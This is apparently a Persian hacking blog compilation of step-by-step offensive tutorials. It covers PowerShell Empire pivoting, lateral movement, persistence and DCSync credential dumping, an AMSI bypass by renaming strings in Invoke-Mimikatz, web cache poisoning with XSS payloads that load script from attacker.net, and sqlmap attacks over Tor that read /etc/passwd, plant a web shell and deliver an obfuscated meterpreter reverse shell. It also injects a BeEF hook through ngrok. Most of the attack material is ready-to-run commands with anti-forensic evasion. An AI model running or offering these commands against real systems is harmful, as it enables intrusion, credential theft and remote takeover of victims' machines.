31.`set Listener ######` 32.`run` ماژول بالا رو بر روی Listener اول که میشه ###### تنظیم کردیم در این یک نکته Empire در ابزار Pivot ارسال خواهد شد اما در ادامه ماژول Listener حالت دسترسی ارتقاء یافته به همین دومی رو هم بسازیم برای اینکه دسترسی حاصل شده به Listener برای استفاده از این ماژول میبایست اول یک Listener دوم ما ارسال بشه

Pivoting
33.`isteners` 34.`set Name ######2` 35.`set Host example.ddns.net` 36.`set BindIP 192.168.1.4` 37.`set Port 4141` 38.`execute` 39.`interact victim` 40.`usemodule situational_awareness/network/powerview/find_l` 41.`set Listener ######2` 42.`execute` در قسمت بالا اول با ماژول استفاده شده به دنبال کامپیوتر های درون شبکه محلی میگردیم و نام اون هارو بیرون میکشیم و همون نام رو کپی میکنیم

Copy (ComputerNames)
43.back
44.`usemodule lateral_movement/invoke_psexec` 45.`set Listener ######2` 46.`set ComputerName` (ComputerName)

47.`execute` *Enter*

شده ای رو بر روی Stageless پایلود Remote DCOM به واسطه تکنیک invoke_psexec ما با استفاده از ماژول کامپیوتر Privilege کردن کامپیوتر دوم آسیب پذیر اجرا و دسترسی رو از اون حاصل خواهیم کرد اما در خصوص در مراحل زیر به این موضوع میپردازیم Empire سیستم عامل های ویندوز هم ماژولی وجود داره در

Privilege

48.`agents` Copy (NewAgent)
49.`rename` (NewAgent) `victim2` 50.`interact victim2` 51.`usemodule code_execution/invoke_shellcode`
52.`set Lhost example.ddns.net` 53.`set Lport 4141` 54.`execute` نام 48 در خط شماره Agent تازه باز شده رو در خط 49 عوض میکنیم تا راحت تر به آن دسترسی داشته باشیم و باز در ادامه ما در خط 50 وارد دسترسی رو برای ارتقاء سطح دسترسی استفاده خواهیم کرد ,در ادامه ما از invoke_shellcode سیستم دوم شده و ماژول استفاده خواهیم کرد Persistence ماژول

Persistence

56.`back` 57.`usemodule persistence/elevated/schtasks` 58.`set onLogon True` 59.`set Listener ######2`
60.`execute` ساخته و برای اون تعریف کردیم Object یک تایمر فعال کننده schtasks در این ماژول ما با استفاده از میکنه شما فعال شده و در تایمه تنظیم شده پایلود رو به اجرا در بیار, در ادامه من Log in که در هر باری که کاربری شده در شبکه خواهم پرداخت Share کردن فایل ها و فولدر های Recon به ماژول

Network Sharing

61.`back` 62.`interact victim2` 63.`usemodule situational_awareness/network/sharefinder` 64.`run` در دستور sharefinder هست وارد شده و با استفاده از ماژول victim2 اینجا ما به دسترسی دوم خودمون که نامش کردن شبکه برای پیدایش فولدرهای شیر شده میدیم و منتظر میمونیم تا اطلاعات خواسته شده رو بیرون Recon تا یک کاربر در سطح ادمین به سیستم قربانی اضافه کنیم Add Admin بکشه اما در ادامه من میرم سراغ ماژول

Add Admin

65.`back` 66.`usemodule credentials/mimikatz/dcsy` 67.`set user AVI\12341234` 68.`run` 69.`creds` این ماژول برای شناسایی آسیب پذیری های یک سیستم عامل میباشد,

Detected Bugs

70.`back` 71.`usemodule privesc/powerup/allchecks` 72.`set Listener ######2` 73.`execute`
https://github.com/EmpireProject/Empire
http://www.powershellempire.com/?page_id=151

#Mimikatz Blocking Bypass (Obfuscation)
میخوایم اطلاعاتی بدیم و بررسی کنیم چگونه Defender سرویس ویندوز AMSI در این پست در خصوص دور زدن که برای Mimikatz ابزار Script کار میکنه در خصوص اجرای String Detecting رو که بر بستر Detection میشود این های یک سیستم عامل ویندوزی هست صحبت کنیم, البته این نکته رو بیان کنم که روشی Token بیرون کشیدن که تشریح خواهیم کرد در خصوص دور زدن تمام آنتی ویروس ها میتونه کار آمد باشه و موفقیت چشم گیری در این خصوص داشته باشه...

اگر رصد کنید دیده میشه میخوایم صحبت کنیم اما APT که امروزه در هر حمله Mimikatz خب در خصوص اسکریپت کردن این FUD کمی اطلاعات بدم و بعد وارد بحث Mimikatz قبل از تکنیک های مبهم سازی میخوام در خصوص خود

از Kerberos و استخراج ClearText رمز های plaintexts passwords در خصوص استخراج mimikatz, اسکریپت بشیم استخراج شده ارتقاء سطح دسترسی هم Token hash سیستم عامل عمل میکنه و البته با استفاده از Memory های Build Number انجام میدهد, در جدید ترین نسخه خودش ویندوز 10 رو هم پشتیبانی میکنه و در خصوص متعدد ویندوز سازگاری داره, اما من اول یک بار از شما میخوام که در ماشین مجازی خودتون یک سیستم عامل رو ببینید تا در روند مبهم سازی این اسکریپت و عملکرد اون mimikatz ویندوز 10 بالا بیارید و با دستور زیر بلاک بودن تجربیاتی به دست بیاورید

Open cmd

1.`powershell "IEX (New-Object Net.WebClient).DownloadString ('https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"` در زبان پاورشل اقدام به دانلود یک IEX در دستور بالا ما با استفاده از String هست و سر آخر اون رو به اجرا در میاره خوب با وارد کردن این دستور Mimikatz میکنیم که در واقع اسکریپت خواهید دید که اسکریپت بلاک خواهد شد خب دلیل این بلاکی چی میتونه باشه؟ اگر به این پست دقت کنید ما قرار دادن و در روش ذکر شده Heuristic ها یکی از روش های شناسایی پایلود رو Detection توضیح دادیم که های ثابت یک ابزار میتونه شاخصه خوبی برای شناسایی اون باشه چرا که String با استفاده از بررسی Detection این سبک از اسکریپت ها بر بستر باینری اجرا نمیشود و رندر کننده این کدها همون زبان خود اسکریپت هستش AMSI این کدها رصد نخواهند شد بلکه این رصدها در خصوص مکانیزمی به نام Machine Code پس بر بستر اون به شرح زیر هست API هستش که توابع

https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiscanstring

هستند رو بررسی Just in Time و دیگر زبان هایی که JavaScript و VBScript و Powershell های String این تابع های یک اسکریپت هستش ما چطور میتونیم راه کارهای ارائه String میکنه, اما برای یک تابعی که مامور بررسی رو دور بزنیم ؟ خب یکی از راهکار ها همیشه مبهم سازی بوده و هست ما با استفاده از Detector کنیم که این هارو کم و کمتر کنیم یک نمونه رو Detector های ثابتی که در این اسکریپت دیده میشه میتونیم رصد String تغییر انجام میدیم

Go Kali & Open terminal

1.`wget https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1` 2.`sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1;sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1;sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1;sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1;sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1;sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1;sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1;sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1;sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1;sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1;sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions\$Win32Functions #\-/g" Invoke-Mimikatz.ps1`
sed ها و دیگر پارامتر ها انجام میگیره اگر با خط فرمان String در مرحله اول اسکریپت رو دانلود و در مرحله دوم تغییر ها ما اسکریپت رو میتونیم بر Replace آشنایی داشته باشید متوجه این تغییرات خواهید شد اما پس از این bash در باپیس شده بود شما AMSI اجرا کنیم در تستی که بنده گرفتم Import و Upload روی سیستم عامل قربانی های ثابت دیگه ای هم کار کنید این String خودتون هم میتونید تست کنید اگر باز شناسایی شد میتونید بر روی هستش Detection روش جوابگو در خصوص دور زدن مکانیزم های...

Meterpreter Command

3.`upload /root/Invoke-Mimikatz.ps1` 4.`execute -i -H -f cmd.exe -a "/c powershell -exec bypass"`
5.`execute -i -H -f cmd.exe -a "/c Import-Module .\Invoke-Mimikatz.ps1"` 6.`execute -i -H -f cmd.exe -a "/c Invoke-Mimidogz"` https://github.com/gentilkiwi/mimikatz/releases
https://github.com/PowerShellMafia/PowerSploit/
https://www.offensive-security.com/metasploit-unleashed/mimikatz/
#Neanderthal Man
برخی ها فکر میکنند وحشیانه از علوم سایبری استفاده کردن نشانه قدرت سایبری و کار بلدیست در حالی که ما همیشه نگاهی سطحی به این رفتارها داریم و بلکه تخصص در سطوح علمی مایه فخر ماست, آنهایی که مارا به صرفاً کتاب خواندن متهم میکردند امروزه خودشان کتاب در کانال هایشان میگذارند:)

https://www.instagram.com/p/BvW1-lWHWAB/?utm_source=ig_share_sheet&igshid=1l638b9dm1b0d

https://www.instagram.com/p/BvW15f-H19Q/?utm_source=ig_share_sheet&igshid=z3igujdw36yx

https://www.instagram.com/p/BvW1ydRnkDH/?utm_source=ig_share_sheet&igshid=1ud08v1vmgjao
#Forecast for the apocalypse
نگاه عمیق به هدف میبایست به حدی بزرگ باشد که داستان چرایی خلق بشریت را هم در بر گیرد,

در کنار همین نگاه میبایست در بُعد فنی نگاه به حدی ظریف باشد که موجب اکتشاف در علم شود, این دو در کنار هم یک محقق را به سطوح دست نیافتنی خواهد رساند...

سندی در این باب پیوست پست میشود که در سال 1355 شمسی ضبط شده است, زمانی که اینترنتی به دنیا نیامده بود...

#Web Cache Poisoning
خواهیم پرداخت و چگونگی رخداد این آسیب پذیری که بر بستر WCP در این پست به بررسی آسیب پذیری CDNs عمل میکنند رخ میدهد و روش های سوءاستفاده یک هکر Cache Server ها که به عنوان Proxy Server ها و دیگر از این آسیب پذیری....

چیست ؟ برای پاسخ به این سوال Cache علت استفاده وبسایت ها مرورگرها و حتی سیستم عامل ها از مکانیزم باید مثالی رو براتون بزنم فرض کنید شما قدرت ذخیره یک فایل صوتی بر روی هاردتون رو نداشتید و مجبور بودید هرباری که میخواستید اون آهنگ رو گوش کنید به سایت مورد نظر سر میزدید و صبر میکردید تا فایل دانلود و اجرا شود, خب همین موضوع میتونه به حدی وسیع باشه که ترافیک های یک شبکه و یک وبسرور رو یک سوم اضافه کنه و چقدر هم زمان این وسط هدر میرفت,

ما میتونیم زمانی که به یک وبسایب سر میزنیم فایل ها و صفحاتی که ثابت هستند Caching اما امروزه با مکانیزم رو یکبار دانلود کرده و به مدت معمولا یک هفته مرورگر رو معاف از دریافت دوباره اون فایل ها از یک وبسایت کنیم , و غیره میتونند باشند که در اطلاعات و نمای وبسایت نقش دارند اما نکته js-css-html-jpg-svg این فایل ها میتونند یک وبسرور اطلاعات بر روی یک سرور Caching ای که همینجا میشه بهش اشاره کرد اینه که در مکانیزم های ذخیره میشه برای شما نه روی مرورگر شما چرا ؟ به این دلیل که برخی اطلاعات و صفحات در خصوص Proxy شده هستش و نمیتوان این سبک از اطلاعات رو بر روی مرورگر ذخیره کرد چرا که موجب authenticate مناطق سوءاستفاده خواهد شد, خب در چنین مواقعی وبسایت هایی که از ترافیک بالا به دلیل ماهیت کارشون برخوردار هستند از Methodology سرورهای واسط که به آنها Proxy Server میشه استفاده میکنند گفته,

رو اینطور تصور کنید که منیجر اون سایت میخواسته یک سرور کمکی به سرور اولی مرتبط Proxy Server شما این کنه اما نه در ابعاد سرور اصلی که تمام سرویس ها و فایل ها درونش قرار داره بلکه سرور کمکی که اطلاعاتی که یک کاربر برای اولین بار از وبسرور اصلی درخواست کرده رو این پروکسی سرور ذخیره کرده و درخواست بعدی که داده میشه به Response کاربر میده دیگه به سرور اصلی این درخواست نمیره بلکه این اطلاعات از پروکسی سرور کاربر این موضوع میتونه در روند سرویس دهی سایت های بزرگ که کاربران بسیاری دارند بسیار موثر باشه اما نکته میتونه ایرادات امنیتی هم با خودش به همراه داشته باشه Methodology ای که وجود داره اینه که استفاده از این زده شده از طرف کاربر Requestها پارس شده برای کاربر, در هدر Cache Server هر بخشی از وبسایت که از روی Flush ها و یا Request هستش و با همین پارامتر وبسایت مسیر ارسالی cache-control دارای پارامتری با نام ها در این خصوص فعالیت Cache Server و CDN رو مدیریت میکنه, برخی از سرویس هایی که به عنوان Content دارند رو معرفی میکنم

Akamai-CloudFlare-Varnish-AWS-Fastly-Nginx چطور هستش ؟ Cache Poisoning اما روش 0 تا 100 حمله آیا در موقعیت ما Cache Server مرحله به مرحله پیش میریم, اولین مرحله اینه که ما میبایست شناسایی کنیم که اون صفحه از موقعیت Requset ها میتونیم محتوای Proxy Interupter در وبسایت تعریف شده ؟ با استفاده از تعریف شده باشه این بدین معنیه که ما در اینجا Request در X-Forwarded-Host وبسایت رو ببینیم و اگر از پارامتر در مقابل همون پارامتری که عرض کردم وجود داره Cache Server اون Hostداریم که البته نام Cache Server یک,

```
GET /en?cb=1 HTTP/1.1 Host: www.redhat.com X-Forwarded-Host: canary HTTP/1.1 200 OK Cache-Control: public, no-cache ... <meta property="og:image" content="https://canary/cms/social.png" />
```

که در canary بالا ما میبینیم که مقدار Response در هدر برگشت داده شده, content و Response در قسمت DNS تعریف شده به عنوان X-Forwarded-Host مقابل پارامتر شده و ما در مرحله بعد یک تست در خصوص تزریق یک Explore برای ما X-Forwarded-Host در اینجا آدرس انجام میدیم (xss) اسکریپت,

```
GET /en?safe=1 HTTP/1.1 Host: www.redhat.com X-Forwarded-Host: a.\"><script>alert(1)</script> HTTP/1.1 200 OK Cache-Control: public, no-cache … <meta… c="https://a.\"><script>alert(1)</script>
```

هکر اشاره DNS تغییر کنه و به X-Host حالا اگر مقدار پارامتر که بصورت پیشفرض به Cache-Control ارسالی خودمون پارامتر Request کنه چه اتفاقی می افته؟ و اگر ما در هستش رو عوض کنیم چه اتفاقی خواهد افتاد ؟ برای جواب دادن به این سوال مثال زیر رو مقدار public, no-cache نگاهی میکنیم

```
GET / HTTP/1.1 Host: unity3d.com X-Host: attacker.net HTTP/1.1 200 OK Via: 1.1 varnish-v4 Age: 174 Cache-Control: public, max-age=1800 ... <script src="https://attacker.net/blah/foo.js"> </script>
```

رو برای ما Unkey inputs تعریف کرده که حاشیه public رو در حالت Cache-Control در اینجا ما پارامتر Cache-Server داده های size سایز max-age میرسیم در اینجا Key age:174 میکنه که در اینجا ما به یک Map من بدم اینجا زمانی که سرور کش از طرف سرور اصلی مامور دادن cache keys هستش یه توضیحی در خصوص به عنوان یک key تعریف میشه که بعضا این key-cache بعدی یک Request درخواست بعدی اطلاعات میشه برای عمل میکنه URI پارامتر ارسالی به اون,

Request استفاده کنیم و در cache key چطور میبایست عمل کنیم, زمانی که ما از cache اما در خصوص دزدیدن خودمون اطلاعات معمول رو تغییر داده و درخواست اطلاعات دیگری کنیم میتوانیم اطلاعاتی که در حافظه کش وجود کنیم مثال زیر رو دقت کنید Hijack داره و برای ما مهمه رو

```
GET /blog/post.php?mobile=1 HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 … Firefox/57.0 Cookie: language=pl; Connection: close GET /blog/post.php?mobile=1 HTTP/1.1 Host: example.com
```

در اینجا ما با `User-Agent: Mozilla/5.0 … Firefox/57.0 Cookie: language=en; Connection: close` رو language اول Request ارسال کردیم اما در Cache Server رو به سمت Request دو عدد Cache Key استفاده از تنظیم بوده و همون pl به سرور اصلی میرفته زبان به زبانه Request قرار دادیم در حالی که زمانی که این pl برابر با تغییر میدم ما میبینیم که به جای en دوم زبان رو به Request شده اما زمانی که من در Cache هم برای کاربر Request رو به ما برمیگردونه این یعنی بعد از تثبیت en شده میاد و زبان cache چرا که این زبان pl نشان دادن زبان های بعد به آدرس حافظه کش ما میتونیم در صورت آسیب پذیر بودن وبسرور کش، ما از روی Request اول و رفتن اون اطلاعات دیگه ای رو بخونیم اینجاس که میتونه خطرناک باشه ماجرا یکی دیگر از سوءاستفاده های این داستان های کاربر تنظیم کنیم و بر روی سیستم قربانی Request مخرب برای برگشت Script میتونه این باشه که ما یک اجرا کنیم که نمونش رو من بالا توضیح دادم js اسکریپت های مخرب

http://omergil.blogspot.com/2017/02/web-cache-deception-attack.html
https://portswigger.net/blog/practical-web-cache-poisoning

-

#Penetration Testing Web

هایی که در خصوص آسیب پذیری های مختلف طراحی شده اند Tools در این پست در خصوص نحوه استفاده از ها بحث خواهیم کرد Tools توضیحاتی خواهم داد , همچنین کمی در نحوه عملکرد این...
Web ها و روش های استاندارد تست نفوذ آسیب پذیری های Tools بسیاری از افراد امروزه درگیر پیدا کردن بهترین هستند و نکته بخصوص این موضوع اینجاست که ارائه مطلب در صورتی مورد توجه است که کارامدی Application خودش رو داشته باشه یعنی صرفاً معرفی یک ابزار نباشه بلکه تحلیلی هم باشه که بتونه هکر رو تا مقصد موفقیت عملیات پیش ببره, خب در این خصوص اول روشی در خصوص استفاده از سیستم عامل کالی لینوکس به عنوان یک های مورد نظر و پنتست Tools در سیستم عامل ویندوز رو خدمت شما عرض خواهم کرد و بعد نصب کردن App ویندوز قرار داره رو انجام خواهیم داد, خب Store کالی که در App آسیب پذیری های یک سایت با استفاده از همین ویندوز دانلود کنید Store کالی رو از App اول از همه به ویندوز 10 برید و با استفاده از لینک زیر

https://www.microsoft.com/store/productId/9PKR34TNCV07

برنامه رو باز کرده و صبر کنید که برنامه Cortana سرویس Search رو در قسمت kali linux بعد از دانلود و نصب استفاده کنید خیلی عالی میشه چرا که مخازن کالی بعضا فیلتر VPN Kerio خودش رو نصب کنه اگر در اینجا از یک استفاده کنید VPN Kerio ها درست نصب نشه, حتماً از Package هستند و امکان داره در حین نصب برنامه برخی ها کمی در این موضوع VPN خودش انتقال میده دیگر VPN Tunneling چرا که تمام ترافیک یک سیستم رو بر روی خرید کنید وبسایت خوبی http://gozar.asiaخودتون هم میتونید از سایت VPN ضعیف هستند برای اکانت Password و دو بار Username براش تعریف کنیم کافیه یک Root User ما میبایست یک App هستش اما بعد از نصب رو بصورت Proxychains و برنامه Tor تموم بشه بعد ما باید در دومین قدم سرویس Root User بدیم تا پروسه ساخت ارتباط برقرار کنیم برای همین APT کالی ما نمیتونیم مستقیم با سرورهای App نصب کنیم چرا که در ایران در Local از طریق App های Thread اما خود App کمک میکنه به نصب کامل VPN استفاده از App اینم بگم که برای نصب مودم ارتباط برقرار میکنه خب پس ما الان DHCP کالی لینوکس مستقیم با App ارسال نمیشه چرا که VPN شبکه tmp دانلود کنیم و به پوشه Debian رو برای Proxychains و برنامه Tor سرویس DEB باید از سایت های زیر پکیج هارو دیده و نصب کنیم Package بتونیم App کالی انتقال بدیم تا از طریق App

http://ftp.debian.org/debian/pool/main/t/tor/tor_0.3.5.8-1_amd64.deb
http://ftp.us.debian.org/debian/pool/main/p/proxychains/proxychains_3.1-6_all.deb
http://cdn-fastly.deb.debian.org/debian/pool/main/libe/libevent/libevent-2.1-6_2.1.8-stable-4_amd64.deb
https://debian.mirror.sonn.lu/debian/pool/main/p/proxychains/libproxychains3_3.1-8.1_amd64.deb

کرده و به این آدرس انتقال بدید Cut خب پس از دانلود این فایل ها رو

```
C:\Users\(USER)\AppData\Local\Packages\KaliLinux.54290C8133FEE_ey8k8hqnwqnmg\LocalState\rootfs
\tmp
```

تغییراتی رخ داده بود یک KaliLinux.54*** باید نام کاربری خودتون رو قرار بدید و اگر در قسمت {USER} در قسمت کنید Paste tmp دایرکتوری قبلش رو ورود کنید تا ادامه آدرس رو دستی پیش برید و سرآخر فایل هارو در قسمت هارو دونه دونه نصب کنید به این Package و /tmp کنید به فولدر cd کالی برید و App بعد از اینکار سراغ ترمینال صورت

Open kali app

1.`sudo su`
(Passowrd)

2.`cd ;cd /tmp;dpkg -i libevent-2.1-6_2.1.8-stable-4_amd64.deb;dpkg i tor_0.3.5.8-1_amd64.deb;dpkg -i libproxychains3_3.1-8.1_amd64.deb;dpkg -i proxychains_3.1-6_all.deb`

رو تنظیم میکنیم Proxychains رو استارت و Tor و در ادامه سرویس

3.`service tor start;.echo "socks4 127.0.0.1 9050" >> /etc/proxychains.conf;sed -i -e 's/#random_chain/random_chain/g' /etc/proxychains.conf;sed -i -e 's/strict_chain/#strict_chain/g' /etc/proxychains.conf`

های مورد نیاز پنتست Tools کنیم و در ادامه اینکار Upgrade و Update در مرحله بعدی ما میبایست کالی رو خودمون رو هم نصب کنیم

4.`proxychains apt-get update;proxychains apt-get upgrade -y;proxychains apt-get dist-upgrade -y;proxychains apt-get install -y metasploit-framework xsser beef-xss sqlmap dotdotpwn dirb wpscan joomscan nikto webacoo whatweb wafw00f commix golismero dirbuster parallel uniscan skipfish lbd dmitry sfuzz recon-ng host netcat curl nbtscan fierce snmpcheck amap hping3 dnsenum dnsmap dnsrecon arp-scan enum4linux p0f osrframework theharvester nmap python-pycurl python-xmlbuilder python-geoip`

خیلی معروف داره که از کار آمدی خوبی Tools هستش که خب یک SQL خب اولین تست نفوذ ما در آسیب پذیری این ابزار رو براتون قرار میدم Default برخورداره, من دستورات

-
Photo

SQL Injection

GET

5.`sqlmap -u "(Website)/Default.aspx?tabid=36&ctl=Privacy" --level=5 --risk=3 -v 3 --mobile --timeout=10 --threads=10 --tor-type=SOCKS4 --tor-port 9050 --batch --tamper=randomcase,percentage --dbs` **POST**

5.`sqlmap -u "(Website)/user/" --data="login_username=admin^&login_password=admin" --level=5 --`

risk=3 -v 3 --mobile --timeout=10 --threads=10 --tor-type=SOCKS4 --tor-port 9050 --batch --tamper=randomcase,percentage --dbs **Read /etc/passwd**

6.sqlmap -u "(Website)/user/" --data="login_username=admin^&login_password=admin" --level=5 --risk=3 -v 3 --mobile --timeout=10 --threads=10 --tor-type=SOCKS4 --tor-port 9050 --batch --tamper=randomcase,percentage --file-read="~/etc/passwd" --dbs;/root/.sqlmap/output/(Website)/files/_etc_passwd **Upload Shell**

Generating Shell

7.webacoo -g -o ######.php # RCE Funcation Checking

8.sqlmap -u "(Website)" --level=5 --risk=3 -v 3 --mobile --timeout=10 --threads=10 --tor-type=SOCKS4 --tor-port 9050 --batch --tamper=randomcase,percentage --is-dba # Writing Shell

9.sqlmap -u "(Website)/Default.aspx?tabid=36&ctl=Privacy" --level=5 --risk=3 -v 3 --mobile --timeout=10 --threads=10 --tor-type=SOCKS4 --tor-port 9050 --batch --tamper=randomcase,percentage --file-write=/root/######.php --file-dest=/var/www/######.php # Connect Shell

10.webacoo -t -u (Website)/######.php **OOB Meterpreter (Windows)**

RCE Funcation Checking

11.sqlmap -u "(Website)/user/" --data="login_username=admin^&login_password=admin" --level=5 --risk=3 -v 3 --mobile --timeout=10 --threads=10 --tor-type=SOCKS4 --tor-port 9050 --batch --tamper=randomcase,percentage --is-dba # Generating Payload

12.proxychains git clone https://github.com/trustedsec/unicorn.git;cd unicorn && chmod +x *;python unicorn.py windows/meterpreter/reverse_tcp (NoIP) 4141;cat powershell_attack.txt

powershell /w 1 /C "s''v mTG -;s''v my e''c;s''v Hb ((g''v mTG).value.toString()+(g''v my).value.toString());powershell (g''v Hb).value.toString() ('JABGAFkAPQAnACQAWQB...AbgBvAGUAIgA=')"

Copy (OBF Payload)

Listing Msfconsole

13.msfconsole -q -r unicorn.rc # Payloading TARGET

14.gnome-terminal --tab -e 'sqlmap -u "http://(Website)/user/" --data="login_username=admin^&login_password=admin" --level=5 --risk=3 -v 3 --mobile --timeout=10 --threads=10 --tor-type=SOCKS4 --tor-port 9050 --batch --tamper=randomcase,percentage --os-cmd="(OBF Payload)" --dbs' .

رو تنظیم کردیم که sqlmap ما آمدیم و در قدم اول حداکثر قدرت و استفاده از روش های موجود switch در این تنظیم های Request مقادیر agent دیده میشه تعریف کردیم که mobile که با نام switch استفاده کنه و در ادامه در بر روی 10 نتظیم threads و هم timeout مرورگرهای مبایلی باشه اما باز در ادامه ما هم agent از sqlmap ارسالی قربانی ارسال کنه و اگر Database هارو به سمت Query همزمان thread کردیم که هم سرعت تست بالا بره و 10 برنامه صبر کنه تا ارتباط دوباره برقرار بشه, اما در ادامه ما برای Requset در پرسه ما پیش آمد تا 10 Disconnect هست استفاده کنه چرا که تست نفوذ ما اگر ره گیری tor که مختص سرویس port 9050 برنامه تعریف کردیم که از در batch بعدی یعنی Switch ما قرار بگیریم اما Anti Forensic شد دارای آی پی واقعی ما نباشه و در حالت جواب بده و ایست نکنه اما در Default بصورت Sqlmap از هکر میپرسه رو خود Sqlmap خصوص اینکه سوالاتی که اولین اسکریپت مامور کوچک percentage و randomcase ما دو اسکریت معرفی کردیم با نام های tamper قسمت ارسالی هست و دومین اسکریپت برای ما کاراکترهارو با یک متاکاراکتر % ادغام Query بزرگ کردن کاراکتر های

هارو بیشتر میکنه اما WAF میکنه که هر دو این اسکریپت ها برای مبهم سازی پایلود هست که شانس دور زدن xss, این نکته رو هم بگم که این دو با همه ی دیتابیس ها سازگار هستند, اما بریم سراغ تست نفوذ آسیب پذیری که Powershell یک پایلود Tools Unicorn در خط 7 که ذکر شده هم باید بگم ما با استفاده از OOB اما در خصوص اجرا و Win SERVER پایلود رو بر روی قربانی های SQLMap در آمده ساختیم که با استفاده از OBF بصورت باز باشه میتونه cmd رو حاصل کنیم یک نکته اگر توابع مربوط به ارتباط گیری با خط فرمان Meterpreter دسترسی رو حاصل کنه برای اینکه بدونید آیا توابع باز هست یا نه میتونید در خط 7 دستور مربوط به چک کردن OOB این رو اجرا OOB باشه یعنی توابع مورد نیاز باز هست و شما میتونید این yes رو اجرا کنید اگر جواب Current is dba کنید

Cross Site Scripting

GET

15.`xsser -u "`(Website)`" -g "/menu.php?id=3&q=XSS" --auto --Onm --Ifr --Str --Une --Mix --Hex --Hes --Dwo --Doo --Dec --Coo --Xsa --Xsr --Dom --Dcp --Ind --Anchor --reverse-check -s --proxy "socks4://127.0.0.1:9050"` **POST**

15.`xsser -u "`(Website)`" -p "foo=1&bar=XSS" --auto --Onm --Ifr --Str --Une --Mix --Hex --Hes --Dwo --Doo --Dec --Coo --Xsa --Xsr --Dom --Dcp --Ind --Anchor --reverse-check -s --proxy "socks4://127.0.0.1:9050"` **Inject BeEF Paylaod**

Install Ngrok

Visit & Register > https://dashboard.ngrok.com/user/signup > Copy (authtoken)

Enivorment Ngrok

16.`SHELL="#!" && echo "$SHELL/bin/bash" > /usr/bin/ngrok;echo '/usr/share/ngrok/ngrok "$@"' >> /usr/bin/ngrok;mkdir /usr/share/ngrok;chmod +x /usr/share/ngrok;chmod +x /usr/bin/ngrok;cd /usr/share/ngrok;proxychains wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip;unzip ngrok-stable-linux-amd64.zip;rm ngrok-stable-linux-amd64.zip;ngrok authtoken` (authtoken)

Show Detail Ngrok

17.`gnome-terminal --tab -e 'ngrok tcp 3000';FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE 's/.*public_url":"tcp://0.tcp.ngrok.io:([^"]*).*/1/p') && echo "$FUZ"` Forwarding tcp://0.tcp.ngrok.io:15413 -> localhost:3000

18.`sed -i '137s/.*/ enable: true/' /usr/share/beef-xss/config.yaml;sed -i '156s/.*/ enable: true/' /usr/share/beef-xss/config.yaml;sed -i '18s/.*/ host: "`(LAN)`"/' /usr/share/beef-xss/extensions/metasploit/config.yaml;sed -i '28s/.*/ callback_host: "`(LAN)`"/' /usr/share/beef-xss/extensions/metasploit/config.yaml;sed -i '45s/.*/ dns_host: "0.tcp.ngrok.io"/' /usr/share/beef-xss/config.yaml;sed -i '103s/.*/ db_host: "0.tcp.ngrok.io"/' /usr/share/beef-xss/config.yaml;gnome-terminal --tab -e "cd /usr/share/beef-xss/;./beef"` 19.`xsser -u "`(Website)`" -g "/menu.php?id=3&q=XSS" --payload="<script src="http://0.tcp.ngrok.io:15413/hook.js"></script>" --auto --Onm --Ifr --Str --Une --Mix --Hex --Hes --Dwo --Doo --Dec --Coo --Xsa --Xsr --Dom --Dcp --Ind --Anchor --reverse-check -s --proxy "socks4://127.0.0.1:9050"` .

Ngrok

ngrok - secure introspectable tunnels to localhost

ngrok secure introspectable tunnels to localhost webhook development tool and debugging tool

و Stored ها وجود داره اول اینکه در نوع WebApp دو معادله در بحث تست نفوذ بر روی XSS خب در آسیب پذیری معمولا تعریف میشه اما در نوع <script>ما یک طیف و سبک پایلود رو استفاده میکنیم که بر بستر Reflected ما پایلود های متفاوت تری رو شاهد هستیم و هر دو این سبک پایلود ها در قسمت های Document Onject Model های زیر, اما خط Switch هم پیاده سازی میشوند با اضافه کردن Agent ,Cookie,Referer ,Data Control Protocol از قربانی, در خط 8 هم فریمورک BeEF هستش برای گرفتن دسترسی BeEF 7 عملیات آماده سازی فریمورک با استفاده از تکنیک ها و BeEF عملیات تزریق پایلود XSSER خواهد شد و با ابزار Start ترمینال دیگر tab در یک ازش میگیریم و اطلاعات dns رو نصب و یک ngrok انکدینگ ها صورت خواهد گرفت, اما ما در خط 12 و 13 سرویس هم کمک forensic استفاده نشه که در بحث noip پایلود بهتره که از inject میکنیم چرا که برای show رو dns اون خوبی خواهد کرد

`--Coo` COO - Cross Site Scripting Cookie injection

`--Xsa` XSA - Cross Site Agent Scripting

`--Xsr` XSR - Cross Site Referer Scripting

`--Dcp` DCP - Data Control Protocol injections

ها استفاده میشوند که Encoding های زیر که در بحث Swtich های دیگه ای هم استفاده شده مانند Switch اما خواهد شد دقت کنید Anti-XSS Filter منجر به دور زدن مکانیزم

`--Str` Use method String.FromCharCode()

`--Une` Use function Unescape()

`--Mix` Mix String.FromCharCode() and Unescape()

`--Dec` Use Decimal encoding

`--Hex` Use Hexadecimal encoding

`--Hes` Use Hexadecimal encoding, with semicolons

`--Dwo` Encode vectors IP addresses in DWORD

`--Doo` Encode vectors IP addresses in Octal

ها توضیحاتی Switch ها کاملا واضح هست که چیکار میکنند برای همین در خصوص این Switch به نظرم توضیحات هستش که به معنی پیمایش مسیر هستش Directory Traversal نمیدم اما بریم سراغ آسیب پذیری بعدی با نام و امروزه هم امکان رخ دادنش وجود داره چرا که برنامه نویسان بصورت دقیق همیشه آدرس هارو فیلتر نمیکنند, خب

